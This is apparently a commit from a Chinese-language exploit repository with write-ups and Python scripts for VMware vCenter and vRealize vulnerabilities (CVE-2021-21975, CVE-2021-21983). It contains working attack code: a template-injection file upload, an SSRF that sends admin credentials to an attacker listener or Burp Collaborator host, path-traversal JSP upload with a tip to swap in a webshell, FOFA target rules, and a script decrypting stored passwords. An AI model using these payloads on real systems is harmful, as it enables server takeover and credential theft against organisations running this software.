asc_chr = ord(i)
aa = "\\u{:04x}".format(asc_chr)
poc_content_part_unicode = poc_content_part_unicode + aa
content = """<manifest recommendedPageSize="500">
<request>
<query name="vir:VCenter">
<constraint>
<targetType>ServiceInstance</targetType>
</constraint>
<propertySpec>
<propertyNames>content.about.instanceUuid</propertyNames>
<propertyNames>content.about.osType</propertyNames>
<propertyNames>content.about.build</propertyNames>
<propertyNames>content.about.version</propertyNames>
</propertySpec>
</query>
</request>
<cdfMapping>
<indepedentResultsMapping>
<resultSetMappings>
<entry>
<key>vir:VCenter</key>
<value>
<value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="resultSetMapping">
<resourceItemToJsonLdMapping>
<forType>ServiceInstance</forType>
<mappingCode><![CDATA[
#set($appender = $GLOBAL-logger.logger.parent.getAppender("LOGFILE"))##
#set($orig_log = $appender.getFile())##
#set($logger = $GLOBAL-logger.logger.parent)##
$appender.setFile("%s")##
$appender.activateOptions()##
$logger.warn("%s")##
$appender.setFile($orig_log)##
$appender.activateOptions()##]]>
</mappingCode>
</resourceItemToJsonLdMapping>
</value>
</value>
</entry>
</resultSetMappings>
</indepedentResultsMapping>
</cdfMapping>
<requestSchedules>
<schedule interval="1h">
<queries>
<query>vir:VCenter</query>
</queries>
</schedule>
</requestSchedules>
</manifest>""" %(file_path, poc_content_part_unicode)
return content
def Agent(ver_url):
headers = {"User-Agent": ua,
"X-Deployment-Secret": "test"
}
json_data = { "manifestSpec":{},
"objectType": "a2",
"collectionTriggerDataNeeded": True,
"deploymentDataNeeded":True,
"resultNeeded": True,
"signalCollectionCompleted":True,
"localManifestPath": "a7",
"localPayloadPath": "a8",
"localObfuscationMapPath": "a9" }
requests.post(ver_url, headers=headers, json=json_data, verify=False)
def poc(target):
result = {}
filename = "test5.jsp"
first_id = id_generate()
seconde_id = id_generate()
end_chr = target[-1]
if end_chr == "/":
url = target + "analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=%s&_i=%s" % (first_id,seconde_id)
poc_url = target + "idm/..;/%s" % (filename)
ver_url = target + "analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=%s&_i=%s" % (first_id,seconde_id)
else:
url = target + "/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=%s&_i=%s" % (first_id,seconde_id)
poc_url = target + "/idm/..;/%s" % (filename)
ver_url = target + "/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=%s&_i=%s" % (first_id,seconde_id)
Agent(ver_url)
content = poc_content(filename)
headers = {"User-Agent": ua,
"X-Deployment-Secret": "test"
}
json_data = {"contextData": "a3", "manifestContent": content, "objectId": "a2"}
requests.post(url, headers=headers, json=json_data, verify=False, timeout=5)
poc_res = requests.get(url=poc_url, headers=headers, verify=False)
if "this is a friendly test, Please check and repair upload vulnerabilities." in poc_res.text:
result['poc'] = NAME
result['poc_url'] = poc_url
result['message'] = "存在VMware vCenter Analytics 任意文件上传漏洞"
return result
if __name__ == '__main__':
# poc调用
poc("https://127.0.0.1")

View File

@@ -0,0 +1,211 @@
# 漏洞简述
vRealize Operations Manager API包含服务器端请求伪造。可以通过网络访问vRealize Operations Manager API路由的恶意攻击者可以执行服务器端请求伪造攻击(SSRF)并且通过服务器端向监听服务器发送的的request header头可能会获取认证凭证。
# 影响范围
vRealize_operations_manager: 8.0.0, 8.0.1, 8.3.0, 8.1.0, 8.1.1, 8.2.0, 7.5.0
cloud_foundation: 4.x 3.x
vRealize_suite_lifecycle_manager: 8.x
其中vRealize_operations_manager的8.3及以后版本虽存在SSRF漏洞但已不能获取认证凭证。
# 漏洞复现
漏洞复现过程:
构造POST请求包header头必须包含 Content-Type: application/json data格式为字典格式的ip:port/web路径可以填写多个ip用逗号分开。
```java
POST /casa/nodes/thumbprints HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Content-Length: 24
[
"127.0.0.2:6666"]
```
监听请求有两种途径一是通过自己的vps监听二是利用burpsuit的Collaborator模块监听
第一种途径通过vps
在vps监听一个ssl加密协议的端口一定要ssl加密的端口否则收到的信息会是乱码下面坑点处有提到
```java
#在vps生成加密证书
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem
#监听ssl加密端口这里为6666
ncat -lvk 6666 --ssl --ssl-cert cert.pem --ssl-key key.pem
```
监听端口之后发送伪造的请求包即可看到认证凭证base64解密后为账号密码
![](images/1.png)
第二种途径通过burpsuit的Collaborator模块以下用的是burp2.0版本的1.7版本可能需要单独安装这个模块)
Collaborator配置其实日常使用默认配置就可以了第三个选项是可以用自己的vps
![](images/2.png)
打开Collaborator客户端点击burpsuit左上角的Burp选择Burp Collaborator client
![](images/3.png)
伪造的请求包发送之后就可看到认证凭证了base64解密就是账号和密码了
![](images/4.png)
# 复现坑点
使用第二种途径burpsuit Collaborator模块复现时倒是没什么问题但用第一种途径vps监听端口复现时踩了坑。
期间看了漏洞代码的分析、也去找了Collaborator模块能获取到认证凭证的原因是不是有什么特殊的payload同时还走了大弯路想着既然是ssrf漏洞是不是读取了服务器上的配置文件然后开始在靶机上各种搜索通过文件夹名及文件内容过滤找到了认证凭证存放的配置文件因为不知道密码加密规则又在网上找加密方式未果后最终还是回到靶机找到了相关的私钥及加密的py脚本最终解密出来了密码。
此时回想起来感觉到确实走了大弯路想想还是回到一篇相对较全的复现文章仔细看复现的那张截图有哪些特殊的地方发现监听端口时使用了ssl加密。随后从网上找到生成加密证书的方法但本地靶场却还是没复现成功后边想着是不是环境的问题就找了网上的环境一个个测试最终找到一个确实能获取凭证的测试后确定成功了。分析可能是本地靶机环境的加密证书问题不过虽然网上的这个站获取到了凭证但账号却不能登录应该是账号做了限制了。。到此这次的坑就踩完了。囧
相关踩坑的截图:
1.普通的端口监听,收到的都是乱码
![](images/5.png)
2.本地靶机使用加密端口监听,收到请求时还是报错
![](images/6.png)
3.有个站点手工获取到凭证了,解密出来还是无法登录。。。囧,这个可能是以后真用到的时候可能会面对的**真坑**
![](images/7.png)
4.靶机中找凭证存放配置文件、私钥存放配置文件、加解密文件
根据Collaborator已经获取到的信息中的账号找到了认证存放配置文件但未能解密成功
```java
find / -name *maintenance*
```
![](images/8.png)
通过相关关键词找加密的私钥一顿尝试找到了然而通过AES解密并没有解出来
```java
find /usr/lib/vmware-vcops/ -name *key*
```
![](images/9.png)
然后就再找加密、解密的脚本,也是一顿搜索,找到了生成私钥的脚本和加解密的脚本;
```java
grep -n -r cluster_master_key /usr/lib/
```
![](images/10.png)
也顺手根据加解密文件名通过内容查找找到了调用加解密脚本的py脚本
```java
grep -n -r vcops_crypt /usr/lib/
```
![](images/11.png)
分析加解密脚本发现是用的base64解密及AES解密将上面提到的密码的密文解密出来的。单独将解密部分的方法拿出来测试确实解出来了密码但这里已经是走偏的越来越远
```java
import os
import sys
from base64 import b64encode, b64decode
try:
from Crypto.Cipher import AES
except ImportError:
print(__name__ + ': Could not import Crypto.Cipher.AES, probably a test environment')
#解密方法
def decrypt_impl_v2(keyFilePath,text: str):
parts = text.split(':')
if len(parts) != 3:
print('ERROR: Invalid message format, unable to decrypt.')
return None
crypt_settings = None
with open(keyFilePath, 'r') as keyFile:
for line in keyFile:
cs = get_crypt_settings(line)
if cs is not None and cs['version'].lower() == parts[0].lower():
crypt_settings = cs
break
if crypt_settings is None:
# message is encrypted with unknown key
print('ERROR: Message is encrypted with unknown key.')
return None
#具体的解密语句
iv = b64decode(parts[1])
dcipher = AES.new(crypt_settings['key'], AES.MODE_CBC, iv)
ct = b64decode(parts[2])
return str(unpad(dcipher.decrypt(ct)), 'UTF-8')
#对私钥内容进行分段提取
def get_crypt_settings(line: str):
line = line.strip()
if not line:
return None
ret = dict()
parts = line.split(' ')
if len(parts) == 1:
# old key format
key = parts[0].strip()
ret['version'] = 'V1'
ret['key'] = bytes(key, 'UTF-8')
else:
ret['version'] = parts[0]
for s in parts[1:]:
kvPair = s.split('=', 1)
kvPair[0] = kvPair[0].lower()
if kvPair[0] == 'key':
ret['key'] = b64decode(bytes(kvPair[1], 'UTF-8'))
return ret
def unpad(data: bytes):
return data[0:-(data[-1])]
#单独把私钥文件和密码密文当做参数传进去
result = decrypt_impl_v2("cluster_master_key.txt","V2:qSLqYStKf1RpftOQ9l4MKA==:m3zt8+IacO2lDN86HrZRdJGTZi07151GmiWDMWOUeHc=")
print(result)
```
# 漏洞修复
如果无法安装修补程序,或者没有适用于您的 vRealize Operations 版本的修补程序,可以采取以下步骤来解决该问题。应用此权宜措施不会对 vRealize Operations 产生影响。
要在 vRealize Operations 中临时解决此问题,请从 casa-security-context.xml
1. 通过 SSH 或控制台以 root 身份登录主节点,在控制台中按 ALT+F1 进行登录
2. 打开 /usr/lib/vmware-casa/casa-webapp/webapps/casa/WEB-INF/classes/spring/casa-security-context.xml
1. 查找并删除该行: <sec:http pattern="/nodes/thumbprints" security='none'/>
2. 保存并关闭文件
1. 使用以下命令重新启动 CaSA 服务: service vmware-casa restart
2. 在 vRealize Operations 群集中的所有其他节点上重复步骤 1-5
# poc
poc里单独做了一个exp部分单独使用脚本加第二个参数即可第二个参数为vps_ip:port格式或者Collaborator中的域名。需要先vps监听好端口或者使用Collaborator。验证需要到相应的地方去查看header头中是否有Authorization字段。不建议批量exp验证因网站服务端发送的没有网站的信息多了容易混乱。
使用域名相对方便一些 不过经过测试都有坑若需要测试多个站两者都不能不中断的不间断测试个人分析应该是因为上一个站测试时https连接还未完全关闭导致下一个站发送请求时出现问题vps的解决方法是ctrl+c中断之后再重新监听端口Collaborator的解决方法是Copy to clipboard重新获取一个域名Collaborator还有个坑是域名太长可能会有一些站不能发送https请求过来。
纯poc部分的检测方法是通过post请求漏洞URL对比其状态码判断的对于要获取认证凭证来说肯定是存在误报的有的站虽然有SSRF漏洞但却不一定能获取到认证凭证。

View File

@@ -0,0 +1,54 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
import requests.packages.urllib3
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# 脚本信息
######################################################
NAME='CVE-2021-21975'
AUTHOR="境心"
REMARK='VMware vRealize&Cloud Foundation SSRF漏洞'
FOFA_RULE='app="vmware-vRealize-Operations-Manager"'
######################################################
def ret_data(exp=None):
if exp == None:
data = '["127.0.0.1/admin/login.action"]'
timeout = 5
elif exp != None:
data = '["%s"]' % exp
timeout = 15
return data,timeout
def _request(target,exp=None):
url = target + "/casa/nodes/thumbprints"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36",
"Content-Type": "application/json;charset=UTF-8"
}
data,timeout = ret_data(exp)
res = requests.post(url, headers=headers, data=data, verify=False, timeout=timeout)
return res,url
def poc(target,exp=None):
result = {}
res,url = _request(target,exp)
if exp == None:
if res.status_code == 200:
result['poc'] = NAME
result['poc_url'] = url
result['message'] = '可能存在SSRF漏洞请手工验证'
return result
elif exp != None:
if res.status_code == 200:
print('请到vps查看header中是否存在Authorization字段')
if __name__ == '__main__':
# poc调用
poc("https://127.0.0.1:443/","4sxpi8otjyj4w0shsthm0ibbn2tvhk.burpcollaborator.net")

View File

@@ -0,0 +1,88 @@
# 漏洞简述
vRealize 路由中存在一上传功能,由于未对上传做任何安全过滤,导致可在有认证凭证的情况下,实现任意文件上传,获取服务器控制权限。
亲测上一波漏洞CVE-2021-21975中获取到认证信息但无法通过web管理端登录的问题此漏洞可不受其限制只要认证信息准确依然能够实现任意文件上传获取控制权限。
# 影响范围
vRealize_operations_manager: 8.0.0, 8.0.1, 8.3.0, 8.1.0, 8.1.1, 8.2.0, 7.5.0
cloud_foundation: 4.x 3.x
vRealize_suite_lifecycle_manager: 8.x
限于环境问题最高测试到vRealize_operations_manager的8.3.0.17501340版本都是存在该漏洞的虽然8.3版本开始通过SSRF漏洞已不能获取到认证信息但若在能知晓认证信息的情况下还是能获取到控制权限的。
# 漏洞分析
casa/classes/com/vmware/vcops/casa/appconfig/CertificateController.class位置 存在一路由这里使用POST方法接收了两个参数name和file
![](images/21.png)
跟进 CertificateService#handleCertificateFile这里创建了一个File对象直接使用transferTo函数上传文件两个参数都可控没有任何过滤就出现了任意文件上传漏洞。
![](images/22.png)
# 漏洞复现
POST包
```java
POST /casa/private/config/slice/ha/certificate HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Authorization: Basic bWFpbnRlbmFuY2VBZG1pbjI6L21UN3dGSFh0VFM3Q2ZDMklQWnc2Mmcv
Te: trailers
Connection: close
Content-Length: 492
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="name"
../../../../../usr/lib/vmware-casa/casa-webapp/webapps/casa/test1.jsp
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="file"; filename=""
Content-Type: image/jpeg
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% out.print("this is a friendly test, Please check and repair upload vulnerabilities.");
%>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
```
网上均是文章一大抄没有看到一篇放POST包的文章内容截图一模一样。这里根据分析的代码部分URL为第一张图中的路由访问该URL登录抓包看到其中熟悉的header头Authorization字段在CVE-2021-21975中获取的就是这个东东。亲测默认的admin账号也可以实现效果格式为admin:password的base64加密。
POST包为常规的文件上传的Content-Type格式主要有两个核心上传参数name和file。name的value为文件名file的value为文件内容。
尝试默认上传位置为/storage/vcops/user/conf/ssl/上传之后无法通过web访问到就想到在文件名的位置通过../构造切换web可访问的位置。
路径切换的时候文件并不能保存到操作系统根目录下但可借助切换到根目录时无缝衔接切换到根目录下的其他文件夹下就有了上面POST包中的name参数的value。这样文件上传后的URL为https://ip:port/casa/test1.jsp自行更改上传的文件名。
如果上传shell的话记得也要加上Authorization哈否则返回401比如冰蝎
![](images/23.png)
# poc/exp
此poc需要传入认证信息格式为user:password格式的base64编码详情见CVE-2021-21975漏洞获取的认证信息。
更改content中的poc部分为shell即可实现exp。exp的时候记得先更改一下脚本中的判断部分详见脚本中的注释提示。

View File

@@ -0,0 +1,55 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
import io
from Config.config_requests import ua
import requests.packages.urllib3
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# 脚本信息
######################################################
NAME='CVE-2021-21983'
AUTHOR="境心"
REMARK='VMware vRealize 认证后任意文件上传漏洞'
FOFA_RULE='app="vmware-vRealize-Operations-Manager"'
######################################################
def poc_content(filename1):
content = """------WebKitFormBoundarypyfBh1YB4pV8McGB\r\nContent-Disposition: form-data; name="name"\r\n\r\n../../../../../usr/lib/vmware-casa/casa-webapp/webapps/casa/{0}\r\n------WebKitFormBoundarypyfBh1YB4pV8McGB\r\nContent-Disposition: form-data; name="file"; filename=""\r\nContent-Type: image/jpeg\r\n\r\n<%@ page contentType="text/html;charset=UTF-8" language="java" %>\r\n<% out.print("this is a friendly test, Please check and repair upload vulnerabilities.");\r\n%>\r\n------WebKitFormBoundarypyfBh1YB4pV8McGB--""".format(filename1)
mem_string = io.StringIO()
mem_string.write(content)
mem_string.seek(0)
return mem_string
def poc(target,exp=None):
if exp:
result = {}
url = target + "/casa/private/config/slice/ha/certificate"
headers = {
"User-Agent" : ua,
"Content-Type" : "multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB",
"Authorization" : "Basic %s" % exp
}
filename1 = "abctestabc.jsp"
mem_string = poc_content(filename1)
res = requests.post(url, headers=headers, data=mem_string.read(), verify=False, timeout=5)
if res.status_code == 200:
poc_url = target + "/casa/%s" %filename1
poc_res = requests.get(poc_url, headers=headers, verify=False, timeout=5)
if "this is a friendly test, Please check and repair upload vulnerabilities." in poc_res.text:
# if poc_res.status_code == 200: # exp的时候作为判断使用注释掉上面一句判断并取消这个注释
result['poc'] = NAME
result['poc_url'] = poc_url
result['message'] = "存在%s" % REMARK
# print(result)
return result
else:
return "认证信息为空,请先获取并传入认证信息"
if __name__ == '__main__':
# poc调用
poc("https://127.0.0.1/","YWRtaW46QWRtaW5AMTIz")

Binary file not shown.

After

Width:  |  Height:  |  Size: 53 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 159 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 62 KiB

Some files were not shown because too many files have changed in this diff Show More